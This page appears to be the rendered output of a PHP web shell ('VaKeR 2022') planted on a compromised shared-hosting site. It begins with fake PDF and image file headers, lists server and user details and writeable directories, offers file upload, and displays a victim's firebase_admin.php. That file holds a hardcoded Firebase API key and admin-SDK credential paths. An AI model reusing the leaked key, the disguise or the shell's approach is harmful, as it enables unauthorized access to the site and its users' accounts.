%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/api/firebase_admin.php
<?php

function getFirebaseServiceAccountPath()
{
    $envPath = getenv('FIREBASE_SERVICE_ACCOUNT_PATH');

    if (!empty($envPath)) {
        return $envPath;
    }

    $defaultPaths = [
        '/firebase/meat-and-go-1e06d-firebase-adminsdk-fbsvc-c092d98b2c.json',
        '/home/youruser/public_html/client-project/meatandgo/firebase/meat-and-go-1e06d-firebase-adminsdk-fbsvc-c092d98b2c.json',
        '/public_html/client-project/meatandgo/firebase/meat-and-go-1e06d-firebase-adminsdk-fbsvc-c092d98b2c.json',
        '/public_html/client-project/meatandgo/meat-and-go-1e06d-firebase-adminsdk-fbsvc-c092d98b2c.json',
        dirname(__DIR__) . '/firebase/meat-and-go-1e06d-firebase-adminsdk-fbsvc-c092d98b2c.json',
        dirname(__DIR__) . '/meat-and-go-1e06d-firebase-adminsdk-fbsvc-c092d98b2c.json',
        __DIR__ . '/meat-and-go-1e06d-firebase-adminsdk-fbsvc-c092d98b2c.json',
        __DIR__ . '/firebase-adminsdk.json',
    ];

    if (!empty($_SERVER['DOCUMENT_ROOT'])) {
        $defaultPaths[] = rtrim($_SERVER['DOCUMENT_ROOT'], DIRECTORY_SEPARATOR) . '/firebase/meat-and-go-1e06d-firebase-adminsdk-fbsvc-c092d98b2c.json';
        $defaultPaths[] = rtrim($_SERVER['DOCUMENT_ROOT'], DIRECTORY_SEPARATOR) . '/meat-and-go-1e06d-firebase-adminsdk-fbsvc-c092d98b2c.json';
    }

    foreach ($defaultPaths as $path) {
        if (!empty($path) && is_file($path) && is_readable($path)) {
            return $path;
        }
    }

    return null;
}

function verifyFirebaseIdTokenWithAdmin($idToken)
{
    if (empty($idToken)) {
        return ['success' => false, 'message' => 'Firebase ID token is required.'];
    }

    $firebaseApiKey = getenv('FIREBASE_WEB_API_KEY');

    if (empty($firebaseApiKey)) {
        $firebaseApiKey = 'AIzaSyBaSze0T0LJ3IhOqVVZ43p5KLfHj175vTc';
    }

    if (empty($firebaseApiKey)) {
        return ['success' => false, 'message' => 'Firebase Web API Key is not configured. Set FIREBASE_WEB_API_KEY on the server.'];
    }

    $url = 'https://identitytoolkit.googleapis.com/v1/accounts:lookup?key=' . urlencode($firebaseApiKey);
    $payload = json_encode(['idToken' => $idToken]);

    $response = '';
    $httpCode = 0;
    $curlError = '';

    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
        curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 15);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);

        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $curlError = curl_error($ch);
        curl_close($ch);
    } else {
        $context = stream_context_create([
            'http' => [
                'method' => 'POST',
                'header' => "Content-Type: application/json\r\n",
                'content' => $payload,
                'timeout' => 15,
            ],
        ]);

        $response = @file_get_contents($url, false, $context);
    }

    if ($response === false || $response === '') {
        return ['success' => false, 'message' => 'Unable to verify Firebase ID token.', 'details' => $curlError];
    }

    if ($httpCode !== 0 && $httpCode >= 400) {
        return ['success' => false, 'message' => 'Firebase token verification failed.', 'details' => $response];
    }

    $data = json_decode($response, true);

    if (!is_array($data) || empty($data['users'][0])) {
        return ['success' => false, 'message' => 'Firebase token verification failed.', 'details' => $response];
    }

    $user = $data['users'][0];

    return [
        'success' => true,
        'uid' => $user['localId'] ?? '',
        'email' => $user['email'] ?? '',
        'name' => $user['displayName'] ?? '',
    ];
}

VaKeR 2022